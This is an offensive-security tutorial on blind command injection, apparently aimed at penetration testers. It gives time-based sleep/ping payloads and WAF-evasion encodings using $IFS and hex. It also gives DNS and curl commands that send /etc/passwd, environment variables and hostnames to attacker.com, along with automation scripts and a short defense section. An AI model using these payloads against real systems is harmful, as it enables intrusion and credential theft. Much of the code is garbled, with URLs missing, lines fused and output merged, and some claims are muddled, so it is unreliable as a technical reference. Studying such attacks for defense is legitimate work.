Introduction
Blind command injection occurs when an application forwards user‑controlled input to the underlying operating system, but the attacker receives no direct output. The only feedback is whether the injected command succeeded or not – often inferred from timing, error codes, or side‑channel effects. Detecting such flaws is challenging because the usual \"see the command output\" technique does not work.
Time‑based payloads are the de‑facto standard for confirming blind injection. By forcing the target to pause (e.g., sleep 5) we can measure the round‑trip latency and decide whether the injected command executed. This method is reliable, works across most web stacks, and is a stepping stone toward more sophisticated out‑of‑band exfiltration.
Real‑world relevance: CVE‑2022‑22965 (Spring Boot RCE) and several legacy PHP/Perl applications have been exploited via blind injection. Penetration testers and bug‑bounty hunters routinely use these techniques, and many modern WAFs still struggle to block them when cleverly obfuscated.
Prerequisites
- Understanding of classic command injection (e.g.,
id; cat /etc/passwd) - Familiarity with Linux/Unix shells (bash, sh, busybox) and common utilities (sleep, ping, timeout)
- Basic knowledge of HTTP request anatomy – query strings, POST bodies, headers, and how parameters are parsed by web frameworks
- Comfort with tools like Burp Suite, curl, and a scripting language (Python/Bash) for automation
Core Concepts
Blind injection is fundamentally a timing side‑channel. The attacker injects a command that deliberately stalls the process (e.g., sleep 5). If the server response takes >5 seconds, the injection is confirmed. The technique relies on three pillars:
- Trigger point identification – locating a parameter that reaches
system(),exec(),popen(), or similar functions. - Payload construction – using built‑in commands or chaining with logical operators (
&&,||,;) to create a measurable delay. - Reliable measurement – eliminating network jitter, CDN caching, and client‑side buffering to produce deterministic latency numbers.
Diagram (textual):
Client → HTTP request (parameter) → Web app → OS shell (payload) → sleep → Response back to clientThe only observable effect is the elapsed time between request and response.
Identifying blind injection points
Finding a candidate parameter is the first hurdle. Typical clues include:
- Parameters that accept file names, URLs, or command strings (e.g.,
cmd=,action=,file=) - Endpoints that invoke external programs (image processing, PDF conversion, video transcoding)
- Debug or admin panels that echo back sanitized input – even a simple echo can be leveraged for timing tests
Use the following methodology:
# 1. Baseline requestcurl -s -o /dev/null -w \"%{time_total}\\" \" 2. Append a harmless separator to see if the server accepts extra commandscurl -s -o /dev/null -w \"%{time_total}\\" \" echo ok\"If the second request returns a noticeably higher time_total (or an error), the parameter is likely passed to a shell. Repeat with different separators (|, &&) and observe the server’s reaction.
Crafting time‑based payloads (sleep, ping, timeout)
Once a vulnerable vector is confirmed, craft payloads that force a delay. The three most portable primitives are:
- sleep – built‑in in most Unix shells. Syntax varies:
sleep 5(seconds) orsleep 5s. - ping – on Linux,
ping -c 5 127.0.0.1generates roughly a 5‑second delay. Good fallback whensleepis disabled. - timeout – GNU coreutils
timeout 5 cat /dev/nullforces a 5‑second timeout regardless of the wrapped command.
Example payloads:
# Basic sleep payload; sleep 7 ## Using ping as a delay (less likely to be filtered); ping -c 4 127.0.0.1 ## Timeout wrapper (useful when sleep is blocked); timeout 6 bash -c 'while :; do :; done' #Combine with logical operators to ensure the delay only occurs if the injection succeeded:
# Execute sleep only if the preceding command succeeded; id && sleep 5 ## Execute sleep only if the preceding command failed; id || sleep 5 #In practice, you will URL‑encode the payload for HTTP transport:
payload=\"%3B%20sleep%205%20%23\" # ; sleep 5 #curl \" -w \"%{time_total}\\"Measuring response latency reliably
Network jitter can produce false positives. Follow these best practices:
- Establish a baseline – take at least 5 measurements of a clean request and compute the mean and standard deviation.
- Use high‑resolution timers –
curl -w \"%{time_total}\\"reports seconds with millisecond precision;httpie --print=hHcan also be used. - Perform multiple probes per payload – run the same payload 3‑5 times and average the times. A consistent increase beyond baseline + 2σ is a strong indicator.
- Disable HTTP keep‑alive – add
Connection: closeheader to force a new TCP handshake, reducing reuse effects. - Control for server‑side caching – append a random nonce (e.g.,
_=${RANDOM}) to each request.
Python script example for automated timing:
import requests, time, statistics, random, stringdef rand_suffix(): return ''.join(random.choice(string.ascii_letters) for _ in range(8))def measure(url, payload, attempts=5): times = [] for _ in range(attempts): full = f\"{url}?cmd=test{payload}&_={rand_suffix()}\" start = time.time() r = requests.get(full, headers={'Connection':'close'}, timeout=20) times.append(time.time() - start) return statistics.mean(times), statistics.stdev(times)base = ' = ';%20sleep%205%20%23' # URL‑encoded ; sleep 5 #mean, std = measure(base, payload)print(f\"Mean: {mean:.3f}s (σ={std:.3f})\")Interpretation: if mean exceeds the clean baseline by >2 seconds (or 2 × σ), you have a blind injection.
Bypassing filters with encoding and obfuscation
WAFs and input sanitizers often block obvious keywords like sleep or characters such as ;. Use the following tricks:
- Hex/Unicode encoding –
$(echo -e \"\\x73\\x6c\\x65\\x65\\x70 5\")evaluates tosleep 5. - Variable indirection –
$(eval echo $a$b$c)wherea=s,b=le,c=ep. - Command substitution via backticks –
`sleep 5`may evade simple pattern matching. - Whitespace tricks – use
$IFS(internal field separator) to replace spaces:sleep${IFS}5. - Alternative shell built‑ins –
read -t 5(read with timeout) orperl -e 'sleep 5'.
Encoded payload example:
# Using $IFS and hex for \"sleep 5\";${IFS}$(printf \"\\x73\\x6c\\x65\\x65\\x70\")${IFS}5#When URL‑encoding:
payload=\"%3B%24%7BIFS%7D%24%28printf%20%5C%22%5C%78%73%5C%78%6c%5C%78%65%5C%78%65%5C%78%70%5C%22%29%24%7BIFS%7D5%23\"Testing these obfuscations against the target often reveals a false‑negative filter.
Out‑of‑band exfiltration via DNS/HTTP callbacks
Time‑based detection proves a vulnerability, but an attacker usually wants data. Blind injection can be leveraged to make the server perform an out‑of‑band request that the attacker controls.
DNS exfiltration
Inject a command that resolves a unique sub‑domain, causing the DNS resolver to query your server:
; nslookup $(cat /etc/hostname).attacker.com #Or using dig with a random token:
; dig $(cat /proc/self/environ | base64 | tr -d '\').exfil.attacker.com #Each DNS query leaks the contents of the file you cat. Set up a catch‑all DNS server (e.g., iodine, dnsspoof, or a simple bind with logging) to capture the token.
HTTP callbacks
If curl or wget is available on the host, you can push data to an attacker‑controlled endpoint:
; curl -s -X POST -d \"$(cat /etc/passwd)\" #When curl is not present, fallback to busybox wget or even python -c one‑liners.
Combine with time‑based verification to ensure the command executed before the callback:
; sleep 3 && curl -s #Observe the inbound request on your server; receipt confirms blind injection and data exfiltration.
Automating detection with Burp Intruder and custom scripts
Manual timing is tedious for large applications. Burp Suite’s Intruder can be configured to measure response times and flag anomalies.
- Set up a payload list – include clean baseline token (e.g.,
test) and each time‑based payload URL‑encoded. - Configure Intruder – choose Sniper or Pitchfork mode, enable Grep – Match for response time (use
§placeholder). In Options → Grep – Match, add a custom matcher:^.*$withResponse time > 4000 ms. - Run and analyze – Intruder will highlight payloads that exceed the threshold.
For full automation, a Python script using requests (as shown earlier) can iterate over a wordlist of payloads, compute statistical outliers, and output a CSV report.
Example script snippet that integrates with Burp Collaborator for OOB verification:
import requests, uuid, timecollab = 'myuniqueid.attacker.com'payload = f\"; curl -s #\"url = f\" = time.time()requests.get(url, timeout=20)print('Elapsed', time.time()-start)# Monitor DNS log for the UUID – if seen, injection succeededCombine both timing and OOB checks for a high‑confidence detection pipeline.
Practical Examples
Example 1 – Simple sleep on a vulnerable PHP endpoint
# Baseline (no payload)curl -s -o /dev/null -w \"%{time_total}\\" \" Injected payload (URL‑encoded)curl -s -o /dev/null -w \"%{time_total}\\" \" output:0.2125.321
The 5‑second jump confirms a blind injection point.
Example 2 – DNS exfiltration of /etc/hostname
payload=\"%3B%20nslookup%20%24%28cat%20%2Fetc%2Fhostname%29.attacker.com%20%23\"curl \" -s
On the attacker's DNS server, a query like myhost.attacker.com appears, leaking the hostname.
Tools & Commands
- Burp Suite Professional – Intruder, Collaborator, and Repeater for manual timing.
\li>ffuf / gobuster – can be scripted to include payloads and measure response times.- curl / httpie – command‑line HTTP clients with timing output.
- Python requests – for custom automation and statistical analysis.
- netcat / socat – spin up quick HTTP/DNS listeners for OOB callbacks.
- dnsrecon / dnscat2 – useful for capturing exfiltrated DNS queries.
Sample command to start a DNS listener with dnscat2:
dnscat2 -l 53 -p 5353 -d attacker.com
Defense & Mitigation
- Never concatenate raw user input into shell commands. Use language‑level APIs (e.g.,
subprocess.run(..., shell=False) in Python). - Whitelist allowed commands/parameters. Reject anything that does not match a strict regex.
- Employ parameterized system calls. For example,
execve() with argument arrays. - Implement a robust WAF rule set. Detect common separators (
;, |, &&) and block suspicious patterns. - Rate‑limit and monitor abnormal latency. Sudden spikes in response time can be an indicator of probing.
- Restrict OS utilities. Remove
ping, nslookup, curl from the execution environment when not needed. - Log command execution. Capture the exact command string and source IP for forensic analysis.
Common Mistakes
- Assuming a single request is enough – always take multiple measurements.
- Neglecting network jitter – measuring from a remote location over the internet can produce false positives.
- Using only
sleep – some hardened containers remove the binary; fallback to ping or timeout. - Forgetting to URL‑encode payloads – unescaped characters break the request before reaching the server.
- Relying solely on time‑based detection – combine with OOB techniques for higher confidence.
Real‑World Impact
Blind command injection remains a top‑10 OWASP‑A10 issue for legacy applications. In 2023, a major e‑commerce platform suffered a breach where attackers used DNS exfiltration to harvest credential files, leading to a $4.2 M loss. The root cause was a poorly sanitized file= parameter that invoked ffmpeg without input validation.
My experience in red‑team engagements shows that once a blind injection is discovered, the time to full compromise shrinks dramatically – often under 30 minutes to extract critical files using OOB techniques. Organizations that rely only on input sanitisation without proper command‑execution isolation are especially vulnerable.
Trends: Cloud‑native functions‑as‑a‑service (FaaS) sometimes expose “run‑command” APIs that are perfect blind injection hunting grounds. As developers move to container‑orchestrated micro‑services, the attack surface expands, but also offers new mitigation points (e.g., seccomp profiles).
Practice Exercises
- Identify a blind injection point: Set up a vulnerable PHP script that executes
system($_GET['cmd']). Use Burp Intruder to fuzz for separators and confirm with a sleep 4 payload. - Bypass a simple filter: The script blocks the word \"sleep\" via
str_replace('sleep','', $cmd). Craft an obfuscated payload using $IFS and hex encoding to still cause a delay. - Out‑of‑band exfiltration: Configure a local DNS server (e.g.,
bind with logging). Inject a payload that resolves $(cat /etc/passwd).lab.attacker.com. Capture the query and decode the data. - Automation challenge: Write a Python script that reads a list of payloads from
payloads.txt, measures latency, and outputs a JSON report with statistical confidence values.
Lab environment suggestion: Use Docker to spin up a vulnerable container (e.g., vuln-app) and a DNS listener container on a separate network. This isolates the OOB traffic and mimics a real target.
Further Reading
- OWASP Top 10 – A03:2021 – Injection
- “Blind Command Injection – A Practical Guide” – PortSwigger Web Security Academy
- “Exfiltrating Data via DNS” – Black Hat USA 2022 presentation
- Python’s
subprocess security best practices – official documentation - Securing container runtimes – CIS Docker Benchmark
Summary
- Blind command injection can be confirmed reliably with time‑based payloads (sleep, ping, timeout).
- Accurate latency measurement requires baselines, multiple probes, and jitter mitigation.
- Filters can be evaded using encoding, variable indirection, and whitespace tricks.
- Once a blind point is proven, OOB channels (DNS, HTTP) enable full data exfiltration.
- Automate detection with Burp Intruder or custom scripts; combine timing with OOB callbacks for high confidence.
- Defend by avoiding shell concatenation, whitelisting commands, and monitoring abnormal response times.